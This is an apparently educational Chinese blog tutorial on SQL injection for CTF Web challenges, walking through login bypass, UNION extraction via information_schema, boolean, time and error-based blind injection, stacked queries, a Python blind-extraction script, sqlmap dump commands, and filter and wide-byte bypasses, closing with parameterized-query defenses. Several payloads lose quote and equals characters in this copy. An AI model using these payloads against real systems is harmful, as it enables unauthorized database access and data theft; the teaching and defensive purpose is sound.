尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
SQL注入原理与CTF实战:从手工注入到绕过与防御
我见过太多人打CTF Web题看到SQL注入四个字就以为无脑上sqlmap就能通关。真到比赛现场题目稍微改改参数、套个过滤规则、藏个盲注点工具直接哑火人当场傻眼。这篇就把SQL注入这件事从头到尾拆透从原理到手工注入流程再到绕过思路和防御视角全部用CTF实战的口吻讲清楚。如果你是刚入门CTF的Web选手或者写后端接口时想搞清楚为什么拼SQL会出事这篇文章应该能帮你少走很多弯路。1. SQL注入在CTF里到底考什么1.1 一个典型的登录绕过现场先看一个最经典的场景。某靶场平台上有这样一道Web题一个登录框输入用户名和密码后端代码大概长这样。$sql SELECT * FROM users WHERE username $name AND password $pass; $result mysqli_query($conn, $sql); if (mysqli_num_rows($result) 0) { // 登录成功 }注意这里的变量$name和$pass直接被拼接进了SQL语句。我输入的用户名是admin or 11-- -那么拼接后的SQL就变成了下面这样。SELECT * FROM users WHERE username admin or 11-- - AND password -- -在MySQL里是注释符它后面的所有内容都会被注释掉。于是整条语句的逻辑变成了只要username admin为真或者11这个永远为真的条件成立就能查到记录。登录直接进去了。这道题本质上是后端把用户输入当成了SQL代码来执行。我们传入的单引号闭合了原本的字符串边界后面的or 11则改写了整个查询逻辑。所谓SQL注入就是这个过程数据和代码的边界被打穿了。1.2 为什么SQL注入永远不过时有人觉得SQL注入是个老掉牙的东西都什么年代了还在考。但直到现在各大CTF比赛里SQL注入依然是Web方向的高频考点新题还层出不穷。原因有三第一SQL注入的本质是输入校验缺陷这类问题在所有语言、所有框架里都有可能重现。只要有人在某个角落手写了字符串拼接SQL风险就在。第二注入的利用姿势极其丰富。同一个注入点可以做联合查询、布尔盲注、时间盲注、报错注入、堆叠注入甚至通过读写文件直接拿服务器权限。出题人可以从各个维度扩展题目难度。第三现代防御手段比如过滤关键字、参数类型转换催生了大量绕过技巧。宽字节注入、双写绕过、内联注释、二次注入等每一类都能单独做一道题。所以SQL注入不是变少了而是变成了更精细的攻防博弈。2. SQL注入的类型与底层原理拆解2.1 数字型和字符型从拼接方式反推注入姿势判断注入类型是第一步。很多初学者上来就试 or 11-- -发现没反应就开始乱了。实际上注入点大体分两类数字型和字符型。数字型注入常见于WHERE id $id这种写法SQL里没有引号包裹。此时我直接输入1 and 11和1 and 12观察页面返回是否一致就能判断注入是否生效。字符型注入则不同变量被引号包裹比如WHERE username $name。此时必须先闭合前面的引号否则输入的内容永远只是一段字符串。判断方法也很简单输入看是否报错或者输入1 and 11和1 and 12看返回差异。下面用一张表总结判断思路。类型典型SQL拼接试错样例判断逻辑数字型WHERE id $id1 and 11两条语句返回不同则存在注入字符型WHERE name $name1 and 11返回正常说明单引号闭合成功搜索型WHERE title LIKE %$kw%% or 11-- -先闭合LIKE的引号再注释2.2 联合查询注入与information_schema联合查询注入UNION-based是CTF里最常用的手段因为它直接、效率高。核心原理是UNION关键字可以把两条SELECT语句的结果合并返回。但UNION有条件前后两个查询的字段数必须一致。所以绕不开的一个步骤就是猜字段数经典操作是ORDER BY。ORDER BY 1、ORDER BY 2、ORDER BY 3……当排序列数超出实际列数时数据库会报错此时用二分法就能快速锁定字段总数。知道字段数之后就可以用类似下面这种方式构造联合查询。id1 UNION SELECT 1,2,3页面回显了2和3说明这两个位置是我们可以利用的回显点。接下来从数据库名开始一路查下去。UNION SELECT 1,database(),3拿到数据库名就可以继续查表名。MySQL在5.0以上版本自带information_schema元数据库里面存着所有数据库、表、字段的元信息。这就是万能字典。UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()CTF里大概率能查到一张叫flag或users的表再查表里的字段名然后直接查字段内容flag就到手了。这套链路就是联合查询注入的标准打法判断注入点、ORDER BY猜列数、确定回显位、爆库爆表爆字段、提取数据。2.3 盲注三兄弟布尔、时间、报错联合查询不是什么时候都好使。当页面没有回显位或者查询结果被过滤时就要上盲注。盲注的核心是把“是/否”或者“延迟/不延迟”当成信息通道一点一点把数据抠出来。布尔盲注依赖页面差异。构造AND 11和AND 12如果页面返回不同说明注入点可以利用。然后配合substr和ascii逐字符拆解。AND ascii(substr(database(),1,1)) 100这条语句的意思很简单判断当前数据库名的第一个字符的ASCII码是否大于100。如果页面正常返回说明条件为真继续调整范围二分逼近页面异常则说明条件为假。一个字符一个字符地试虽然慢但非常稳定。时间盲注适用于页面完全没有差异反馈的情况。利用sleep()函数制造延迟以此作为条件判断的依据。AND if(ascii(substr(database(),1,1))100,sleep(3),0)如果页面卡了三秒钟才返回说明括号里的条件为真。这种方法不需要页面有任何回显差异只需要能计时就行。报错注入的本质则是让数据库在执行SQL时报错并且让错误信息里包含我们想查询的数据。MySQL里常用的报错函数有updatexml、extractvalue还有通过主键冲突报错的floor(rand(0)*2)套路。比如下面这句。AND updatexml(1,concat(0x7e,database()),1)0x7e是波浪号ASCII码的十六进制写法用来分隔正常报错和查询结果。执行后报错信息里就会带上数据库名比如XPATH syntax error: ~ctf_db。报错注入尤其受CTF出题人喜爱因为既能拿到数据又不像盲注那样需要花时间逐字符猜。2.4 堆叠注入一条语句不够就再来一条堆叠注入利用的是数据库驱动默认支持多语句执行。分号;结束后继续追加一条新的SQL语句。id1; SELECT load_file(/flag)但堆叠注入在CTF里限制很多很多接口用PDO或MySQLi的query()方法时只允许执行单条语句。就算支持多条往往也会被过滤。可一旦能用利用价值极大可以直接执行任意SQL包括改写数据、调用存储过程甚至写文件。所以看到堆叠注入的考点时先想办法确认后端用的查询函数是否支持多语句执行。3. 手工注入一轮完整实操3.1 从判断到回显的一整套流程说点实际的。我在某次内部Web方向的模拟赛里遇到一道题一个简单的商品列表页面URL长这样。http://target/shop.php?id1我的完整测试链路如下。第一步确认注入点。依次尝试id1、id1、id1、id1)、id1)。当访问id1时页面直接甩出MySQL语法错误说明单引号被拼进了SQL并且造成了语法异常。字符型注入点闭合符是单引号。第二步猜字段数。id1 ORDER BY 1-- - id1 ORDER BY 2-- -当我试到ORDER BY 4时页面报错“Unknown column 4”说明表里只有三列。第三步判断回显位置。id1 UNION SELECT 1,2,3-- -页面正常显示而且2和3两个数字被渲染在了页面上说明这两处是可控的回显点。第四步爆库爆表。id1 UNION SELECT 1,database(),3-- -返回了shop_db紧接着查表。id1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()-- -拿到了goods, flag_tb, users。看到flag_tb基本就稳了。第五步爆字段。id1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameflag_tb-- -查到字段flag最后直接取值。id1 UNION SELECT 1,flag,3 FROM flag_tb-- -flag到手。整个过程完全手测没有任何工具参与。在CTF里这种标准的联合查询注入题特别适合练手把整套流程跑熟了后面遇到各种变体心里也有底。3.2 手工盲注的脚本化思路手工联合查询注入快归快但盲注必须靠脚本。布尔盲注逐字符跑非常消耗耐心我一般在纸上先拆解逻辑再写成Python脚本批量跑。以布尔盲注为例请求地址为http://target/check.php?id1当条件为真时页面返回“OK”条件为假时返回“NO”。脚本核心思路如下。import requests url http://target/check.php result for i in range(1, 64): for code in range(32, 128): payload f1 AND ascii(substr(database(),{i},1)){code} resp requests.get(url, params{id: payload}) if OK in resp.text: result chr(code) print(result) break实测跑一个长度为10左右的库名也就几十秒的时间。真实比赛里时间盲注要格外注意超时设置timeout参数不能设得太短否则大量请求会因为网络抖动误判成条件为假。3.3 注入命令构造中的细节坑手工拼接payload时有几个细节特别容易踩坑。注释符一定要用-- -注意后面有个空格。MySQL要求注释符后必须有空格或控制字符某些情况下用#更稳妥但在URL里#需要编码成%23。大小写问题也常见。UNION SELECT写成union select完全合法但很多题目专门过滤大写关键字此时把大小写混着写反而可能避开正则。更通用的做法是/*!50000UNION*/ SELECT这种内联注释在MySQL里会被当作SQL执行但很多正则过滤函数只处理普通注释直接漏过去。回显位置不够用的情况也要考虑。如果一个回显位都没有说明函数用的是fetch_row之类的非关联数组方式或者查询结果不直接输出那就老老实实转盲注别在联合查询上死磕。4. sqlmap的正确使用方式4.1 常用参数和实测表现工具不是不能用而是要会用。sqlmap在CTF里依然是效率利器尤其是面对那些过滤规则不复杂、注入点明显的题目用工具能大幅节省时间。我个人的常用命令是这样。sqlmap -u http://target/shop.php?id1 --batch --level3 --risk2 --dbs--batch表示所有问题默认取默认值不进行交互--level和--risk控制测试深度和风险等级。第3级别会测试更多的注入类型比如User-Agent、Referer这些位置不只是简单拼在URL参数里。确认到数据库名之后继续取表。sqlmap -u http://target/shop.php?id1 -D shop_db --tables取表、取字段、拿数据一步到位。sqlmap -u http://target/shop.php?id1 -D shop_db -T flag_tb --dump如果是盲注场景记得加上--techniqueB单独指定布尔盲注或者--techniqueT指定时间盲注。默认工具会把所有技术都试一遍效率太低而且容易被WAF识别拦截。4.2 什么情况必须手工sqlmap不是万能的以下场景它基本无能为力。第一注入点做了严密的参数类型转换。比如后端用intval()强制把输入转成整数再拼入SQL。此时无论你输入什么字符都会被截断成数字sqlmap的测试payload全部失效但手工测试可能发现数字型注入仍然存在比如1 AND 11。第二被注释符或空格过滤。sqlmap的payload里有大量空格和--注释符如果题目把空格过滤了工具会直接歇菜。第三二次注入。第一次写入数据时无注入第二次读取时才触发这种多步骤逻辑工具很难自动判断。所以我的习惯是先手工测一遍确认类型和过滤规则再决定是否上工具。不是上来就sqlmap -u xxx这种习惯在CTF里会吃亏在实际工作里更危险。5. 绕过过滤与出题人的视角5.1 关键字过滤的经典绕过思路CTF题目做多了你会发现出题人最喜欢干的事就是过滤关键字。常见的有过滤空格、注释符、SELECT、UNION这些词。绕过的思路基本围绕“等价替换”展开。空格被过滤时用注释/**/代替空格。id1/**/UNION/**/SELECT/**/1,2,3-- -SELECT被过滤时换成HANDLER或者直接利用文件读取函数。比如MySQL的LOAD_FILE和INTO OUTFILE这两个函数本身自带查询能力。UNION被过滤时尝试报错注入或者盲注因为这两种方式都不依赖UNION。还可以用别名和括号变体绕过比如(SELECT 1 FROM users)在某些过滤规则下会漏过去。更常见的绕过是双写。正则把select替换成空字符串时输入seselectlect替换一次后剩下的正好是select。id1 UNION SELSELECTECT 1,2,3-- -这类技巧在CTF里几乎每个赛季都能见到建议自己搭一套靶场把常见过滤规则都过一遍。5.2 宽字节注入是怎么发生的宽字节注入是字符集编码引发的经典问题主要出现在GBK编码的环境里。后端为了“防注入”把用户输入的单引号前加上了反斜杠转义比如\这本身没问题。但在GBK编码下如果我在前面输入一个%df反斜杠的ASCII码0x5c会和%df合并成一个宽字符导致反斜杠被“吃”掉单引号成功逃逸出来。用户输入%df%27 转义后%df%5c%27 GBK解析運%df%5c被解析成了一个中文字符后面的单引号不再是字符串的一部分而是SQL语法里的闭合符号。于是注入就绕过了转义。这提醒所有写代码的人别以为加个addslashes()就能一劳永逸了。字符集不一致就会产生这种看似荒谬但真实存在的漏洞。真正的解法是统一字符集并在数据库层用参数化查询。5.3 防御方的正确姿势CTF是攻防游戏但落到实际开发里防御比攻击重要得多。所有SQL注入的防御核心就一句话把数据和代码分开。首选方案是参数化查询。PDO的预处理机制会把SQL语句的结构先发给数据库占位符位置的传入数据只会被当成纯值永远不会参与SQL语法解析。$stmt $conn-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-bind_param(ss, $name, $pass); $stmt-execute();写好SQL注入的防御措施之后还要记住过滤只是辅助手段。类型强转、关键字过滤、转义函数都能增加攻击者的成本但都不如参数化查询来得彻底。真正安全的系统是每一层都有防护而不是只靠某一个函数救命。6. 常见问题与排错实录6.1 我踩过的一些坑这里把我在实际操作中踩过的问题整理出来每一条都是一个字母一个字母试出来的教训。先列个速查表。现象原因解法注入无任何反应后端可能用addslashes转义了单引号尝试宽字节或二次注入UNION报错列数不匹配前后查询列数不一致用ORDER BY二分猜测列数回显位有数字但查不到字段查询结果是数组形式没做字符串拼接尝试报错注入盲注脚本大量超时时间盲注sleep设置过长改短为1秒降低并发sqlmap 跑不出来但手测有注入注入点被WAF或过滤规则拦住手工测试判断过滤后调整绕过方案过滤了空格但注入存在后者用/**/代替确认数据库是否支持注释符替代空格第一类坑是误判注入点。刚开始练习时我用id1 and 11测试发现页面没区别就以为没有注入点。后来才明白这种数字型测试只是最基础的一种还要分别尝试闭合不同引号、括号、嵌套条件才算完整测过一个点。第二类坑是URL编码问题。把payload直接拼进浏览器地址栏和用requests发送是完全不同的行为。#、空格、单引号在URL里都需要正确处理否则后端拿到的是被解析过的参数和预期完全不一致。我习惯把所有payload先做一层URL编码或者用requests的params参数让它自动处理。第三类坑是information_schema版本差异。MySQL 4.0时代没有这个库题目如果明确说数据库是“MySQL 4.0”那这套链路就走不通只能改用其他方式比如直接猜表名和字段名。6.2 几个能显著提升效率的小习惯先记一个习惯准备一套自己常用的payload模板。CTF现场时间紧张把常用的联合查询语句、报错函数、绕过注释符模板整理成备忘录遇到题目直接复制改参数比自己手敲快得多。再记一个经验优先建立完整的探测顺序。我打SQL注入题时固定遵循的链路是判断闭合方式 - 探测可注入法 - 尝试联合查询 - 回显不可用则转报错 - 再转盲注。每一步都有明确的目标永远不会在一种方案上卡到死。最后一定要自己动手搭一个本地靶场环境。用现成的集成环境跑一套含SQL注入漏洞的web应用自己写题目、自己打、自己修这个过程对理解SQL注入的帮助远大于刷一百道现成题。6.3 从CTF题目到现实防御的一点体会很多人打完CTF就把注入payload全忘了这挺可惜的。SQL注入的每一个手法背后都对应一种真实世界的漏洞模式。联合查询对应的是错误处理不严格盲注对应的是信息泄露过于精确宽字节对应的是字符集不统一堆叠注入对应的是数据库权限过大。在真实项目中排查问题时我会下意识地用CTF里练过的思路去反推某个接口是否可能存在二次注入某个搜索框的模糊查询是不是直接拼接了LIKE这些思维习惯都是打CTF攒下来的。防御方面参数化查询永远是第一选择。但写SQL的人多年形成的拼接习惯不会一夜之间改掉所以我会在代码评审环节额外关注字符串拼接点任何顺手写出来的where xxx $var都会被标红。经过几轮项目下来团队里手写拼接SQL的情况已经很少出现了这就是把攻防经验变成工程价值的过程。
RELATED

相关推荐

REA模型实战:用资源事件参与者重构订单库存系统

REA模型实战:用资源事件参与者重构订单库存系统

想聊一个我最近整理业务建模思路时用的工作代号:rea。它不是人名,也不是某个开源框架,而是我从 Resource、Event、Agent 三个词里各取首字母拼出来的缩写——资源、事件、参与者。这个模型并不是新东西,但在订单、库存、资金流水混…

📅 2026/10/21 6:01:00
再也不怕装不上:图形化一键安装器背后的原理与避坑指南

再也不怕装不上:图形化一键安装器背后的原理与避坑指南

前两天在技术交流群里看到有人问:“那个小龙虾不用命令一键装,是真的吗?”我第一反应是,什么小龙虾的外卖不用点?回头看消息记录才明白,大家说的是最近在运维和开发圈子里讨论度很高的那个开源工具包。“小…

📅 2026/10/21 6:01:00
React中后台项目实战:从代号rea到完整前端工程化搭建

React中后台项目实战:从代号rea到完整前端工程化搭建

坦白说,第一眼看到项目标题只剩“rea”三个字母的时候,我也愣了一下。作为一个常年泡在前端工程化一线的老开发者,我下意识把这串字符拆成了 React Ecosystem Application——也就是基于 React 生态搭建的一个完整前端应用。后来我做过的不少…

📅 2026/10/21 6:01:00
MORE NEWS

更多资讯

📰

知识工作插件化:构建可编程、可组合的智能工作流底座

1. 项目概述:这不是一个插件,而是一套知识工作者的“操作系统增强层”“knowledge-work-plugins”这个标题乍看像某个开源仓库的命名,但拆开来看——knowledge work(知识工作)、plugins(插件)—…

📰

SQL题目面试避坑指南:从读题拆解到查询优化全链路

写SQL题目刷了几年,也帮不少同学备过面试、带过新人,我最大的感受是:多数人不是不会写SQL,而是根本不知道一道SQL题目到底在考察什么。同一个查询,有人三行搞定,有人磨叽半小时还漏了边界;同一张…

📰

知识工作插件:面向知识工作者的模块化增强协议

1. 项目概述:这不是一个插件,而是一套知识工作者的“操作系统增强层”“knowledge-work-plugins”——光看这个名字,很多人第一反应是“又一个浏览器插件合集”或者“某款笔记软件的扩展包”。但在我过去三年深度参与多个知识管理系统的搭建与…

📰

SchoolDB四表DDL全解析:数据库设计从字段选择到约束实践

最近给团队做内部培训,我又把一套用了很多年的教学示例库脚本翻了出来——SchoolDB。场景很简单:一个学校管理系统,只有4张表:学生、教师、课程、选课。很多人觉得写DDL语句没什么技术含量,敲几行CREATE TABLE谁不会&a…

📰

订单表慢SQL优化实战:联合索引、覆盖索引与深分页方案

1. 场景回顾:慢SQL是怎么暴露出来的做订单系统的同学应该都有体会:订单表往往是整个业务库里面数据量增长最快、查询模式最多样、索引也最容易“被用坏”的一张表。这个实战项目来自某电商平台的中台订单模块,核心表trade_order存放全渠道的订…

📰

Python实战英雄联盟胜率预测:从数据清洗到SHAP模型解释

简介:LeaguePredictor 是一套面向电子竞技数据分析初学者与机器学习实践者的 Python 项目源码,聚焦英雄联盟比赛胜率预测这一具体场景,帮助读者理解如何把分类模型落地到真实赛事数据上。资源包共 24 个文件,以 22 个 py 脚本为主…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬